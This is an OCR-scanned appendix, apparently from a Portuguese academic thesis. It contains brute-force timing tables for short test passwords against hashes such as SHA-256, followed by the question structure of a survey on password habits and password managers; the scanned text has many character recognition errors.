Abordagem Segredo Chaves Numero de combinagées  Velocidade Tempo de execugdo Tempo
(aproximadamente em (em minutos) estimado
milh&es)

Otimizada  abcde a 81450625 5.69 10:37 24:12

@al 11.22 05:23 12:30

abc9s a 5.66 10:13 11:26
@al 6.23 09:17 11:46

732pg a 6.06 10:56 24:08
@al 6.46 10:17 24:01

23978 a 5.96 11:02 26:13
@al 6.08 10:52 12:36

104@! a 5.28 00:42 24:43
@al 5.45 00:41 24:44

:)139 a 5.44 12:33 25:00
@al 5.87 11:40 23:34

@!(): a 5.58 12:45 32:30
@al 5.58 12:42 24:38

@lal@ a 5.83 14:59 11:50
@al 5.80 08:08 12:25

l@a@1 a 8.57 05:38 27:58
@al 5.45 08:41 11:57

al@la a 10.90 04:27 12:30
@al 10.59 04:32 11:41

Ndo abcde a 7820126495 5.62 10:45 24:12

otimizada (95+9025+857375
+81450625+7737809375)

@al 9.96 06:04 12:07

abc9s a 7.87 07:21 22:54
@al 6.52 08:53 13:49

732pg a 5.63 11:44 24:07
@al 5.63 11:44 23:33

23978 a 5.58 11:48 25:20
@al 7.50 08:45 24:18

104@! a 10.78 00:21 11:52
@al 5.36 00:41 23:57

:)139 a 6.57 10:27 25:00
@al 5.49 12:28 23:14

@): a 5.63 12:38 11:30
@al 6.02 11:46 11:49

@lal@ a 5.55 15:47 12:51
@al 6.37 07:24 12:22

l@a@1 a 5.71 08:24 12:06
@al 6.72 07:01 10:41

al@la a 10.54 04:32 12:41
@al 10.78 04:28 11:39
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B.3 — Tabelas para SHA-256

Tabela 17 — Resultados para SHA-256 (1 caracter)

Abordagem Segredo Numero de Velocidade (combinagdes Tempo de execugao Tempo
combinagbes por segundo) (em minutos) estimado

Otimizada ¢ 95 - 00:01 -
00:01

00:01

00:01

! 00:01
00:01
00:01
00:01
00:01

00:01

00:01

Nao c 00:01
otimizada

00:01
00:01
00:01
00:01
00:01
00:01
00:01
00:01

00:01
! 00:01
00:01
00:01

00:01
00:01
00:01
00:01
00:01
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Tabela 18 — Resultados para SHA-256 (3 caracteres)

Abordagem Segredo Numero de Velocidade (combinagbes  Tempo de execugdo Tempo
combinagdes por segundo) (em minutos) estimado
Otimizada abc 857375 610320 00:01 -
610430
dx7 637820
641750
a4s 612570
620070
237 630570
631500
2@ 718710
716940
41@! 437920
438630
@!: 662780
661360
a’7@ 718760
718370
5:a 588750
588320
ve 634510
632810
Nao abc 866495 610960
otimizada (95+9025+857375)
611050
dx7 644620
647120
a4s 620210
620680
237 638700
639520
2@ 718900
719760
1@! 442970
440280
@!: 663450
669660
a’@ 719850
719980
5:a 589920
589470
ve 635260
634620
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Tabela 19 — Resultados para SHA-256 (5 caracteres)

Abordagem Segredo Numero de combinagdes Velocidade Tempo de Tempo
(aproximadamente execugao (em estimado
em milhdes) minutos)

Otimizada abcde 81450625 10.16 05:44 12:25
10.47 05:46 12:18

abc95 10.45 05:33 12:30
10.33 05:35 12:25

732pg 10.31 06:28 12:10
10.35 06:23 12:22

23978 10.55 06:16 12:06
10.63 06:12 12:26

104@! 10.54 00:21 12:07
10.33 00:21 12:16

:)139 10.65 06:27 12:20
10.49 06:32 12:38

@!(): 10.49 06:44 11:58
8.80 08:55 12:32

@1lal@ 10.58 08:10 12:48
10.46 08:28 12:29

l@a@1 10.67 04:23 12:11
10.44 04:35 12:20

al@1la 10.39 04:35 12:40
10.28 04:44 12:32

Nao abcde 7820126495 10.45 05:47 12:36

otimizada (95+9025+857375
+81450625+7737809375)

10.41 05:51 12:30

abc95 10.54 05:30 12:50
10.53 05:31 13:08

732pg 10.28 06:26 12:43
9.97 06:39 13:27

23978 10.59 06:13 12:48
10.52 06:16 13:02

104@! 10.37 00:21 12:42
10.56 00:21 12:38

:)139 10.58 06:29 13:04
10.55 06:30 12:36

@!(): 8.82 08:11 14:49
10.45 06:41 13:08

@1lal@ 10.34 08:22 13:15
10.43 08:29 13:20

l@a@1 10.46 04:27 13:16
10.30 04:31 12:33

al@1a 10.36 04:36 13:07
10.19 04:39 13:57
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Anexo C — Estrutura dos Inquéritos

C.1 - Estrutura do Inquérito Global

As secgles e respetivas perguntas (e respostas) ao inquérito enviado ao grupo indiferenciado de
individuos foram as seguintes:

Perguntas base
Idade:
1. Menos de 18 anos
2. Entreos 18 e 25 anos
3. Entre os 26 e 35 anos
4. Mais de 35 anos
Género:
1. Masculino
2. Feminino
Area de Estudos:
1. Area de Tecnologias
2. Area de Ciéncias
3. Areas de Economia, Gest3o e Contabilidade
4. Areas de Direito, Ciéncias Sociais e Servicos
5. Areas de Humanidades, Secretariado e Tradugdo
6. Areas de Arquitetura, Artes Plasticas e Design
7. Areas de Desporto e Artes do Espetaculo
8. Areas de Ciéncia da Educacdo e Formacio de Professores
9. Areas de Agricultura e Recursos Naturais

10. Outra

135
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Situacao laboral:
1. Em formacdo
2. Trabalhador(a) no ativo
3. Desempregado(a)

Nota: Quaisquer que sejam as respostas, o individuo serd direcionado para a secgdo
Autenticagdo.

Autenticacao
Que tipos de fatores é que utiliza, normalmente, para se autenticar?
1. De conhecimento — algo que sabe (por exemplo, PIN ou senha)
2. De heranca — algo que tem (por exemplo, retina ou impressao digital)
3. De posse — algo que possui (por exemplo, cartdes ou hardware)
Recorre a nomes de utilizador/palavras-chave para proceder a autentica¢io?
1. Sim (o inquirido serd reencaminhado para a seccdo Palavras-chave)

2. N&o (oinquirido sera reencaminhado para a sec¢do Porque é que ndo utiliza mecanismos
do tipo nome de utilizador/palavras-chave?)

Palavras-chave
Utiliza a mesma palavra-chave para todos os sitios web que acede?
1. Sim
2. Nao
Qual o tamanho que geralmente usa para a constru¢ao das suas palavras-chave?
1. Menos de 8 carateres
2. Entre 8 e 12 carateres
3. Entre 13 e 16 carateres

4. Mais de 16 carateres
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C.1 — Estrutura do Inquérito Global

A que tipo de carateres é que recorre para a formulagao das suas palavras-chave?
1. Letras (a-z, A-Z)
2. Numeros (0-9)
3. Simbolos (por exemplo, ? ou @)
Como é que procede a formulagao das suas palavras-chave?
1. Dados pessoais (por exemplo, data de nascimento)
2. Alguma palavra portuguesa
3. Algo facil de decorar (por exemplo, nome do melhor amigo)
4. Aleatoriamente
Onde costuma registar as suas palavras-chave?
1. Em papel (por exemplo, num caderno)
2. Em formato digital (por exemplo, num ficheiro)
3. Nao regista (decora)

Nota: Quaisquer que sejam as respostas, o individuo sera direcionado para a sec¢do Gestores
de palavras-chave |.

Gestores de palavras-chave |
Sabe o que é um gestor de palavras-chave?
1. Sim (o inquirido sera reencaminhado para a seccdo Gestores de palavras-chave )

2. Nao (o inquirido sera reencaminhado para a sec¢do O que é um gestor de palavras-
chave)

Gestores de palavras-chave Il
Usa ou ja usou algum gestor?
1. Sim (o inquirido serd reencaminhado para a sec¢ao Gestores de palavras-chave Il

2. Nao (o inquirido sera reencaminhado para a sec¢do Se conhece, porque é que ndo usa?)
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O que é um gestor de palavras-chave?

Nota: Nesta seccdo foi fornecido uma breve explicacdo, bem como um video para que os
inquiridos percebessem o que era um gestor de senhas.

ApOos a descricdo dada e o video exposto, achou que os gestores sao Uteis para a salvaguarda
da informagao?

1. Sim
2. Nao

Pensa usar futuramente tal técnica?
1. Sim (final do questionario)

2. N&o (oinquirido sera reencaminhado para a sec¢do Porque é que ndo usaria um gestor?)

Gestores de palavras-chave lll
Que tipo de gestor(es) é que usa/usou?
1. Local(ais) (desktop)
2. Baseado(s) na web (extensdes/plugins para os navegadores web)
3. Movel(eis) (usados em dispositivos méveis, como telemdveis ou pens USB)
Que gestor(es) é que usa/usou?
1. LastPass
2. KeePass
3. Dashlane
4. 1Password
5. Roboform
6. Sticky Password
7. Google Chrome (plugin)
8. 1U
9. Norton Identity Safe

10. Enpass Password Manager
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11. SplashlID Safe
12. Outro
Sente-se/Sentiu-se seguro(a) ao utilizar tal mecanismo(s)?
1. Sim
2. Nao
Nota: Quaisquer que sejam as respostas, o formuldrio terminard a seguir a esta secc¢ao.
Se conhece, porque é que nao usa?
Porque é que nao utiliza nenhum gestor?
1. Pouco seguro
2. Pouco pratico
3. Falta de conhecimento sobre o tema
4. Outra
Nota: Quaisquer que sejam as respostas, o formuldrio terminard a seguir a esta secc¢ao.
Porque é que nao usaria um gestor?
Porque é que nao utilizaria nenhum gestor?
1. Pouco seguro
2. Pouco préatico
3. Falta de conhecimento sobre o tema
4. Outra

Nota: Quaisquer que sejam as respostas, o formuldrio terminara a seguir a esta secg¢ao.

Porque é que nao utiliza mecanismos do tipo nome de utilizador/palavras-
chave?

Porque é que n3do usa nomes de utilizador/palavras-chave para se autenticar?
1. Pouco seguro

2. Pouco prético
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3. Falta de conhecimento sobre o tema
4. Outra

Nota: Quaisquer que sejam as respostas, o formulario terminara a seguir a esta secgao.

C.2 - Estrutura do Inquérito Especializado

O questiondrio construido para o publico mais restrito obtém a mesma forma que o previamente
explicado, a excecao de duas perguntas. No inquérito em causa, foi retirada a questao que dizia
respeito a area de estudos (seccdo Perguntas base) do individuo e, a que indicava a situagdo
laboral (encontrada na mesma sec¢ao), foi alterada para:

Situacao laboral:
1. Em formacgao
2. Trabalhador(a) na area de Informatica
3. Trabalhador(a) numa outra area (que ndo informatica)

4. Desempregado(a)
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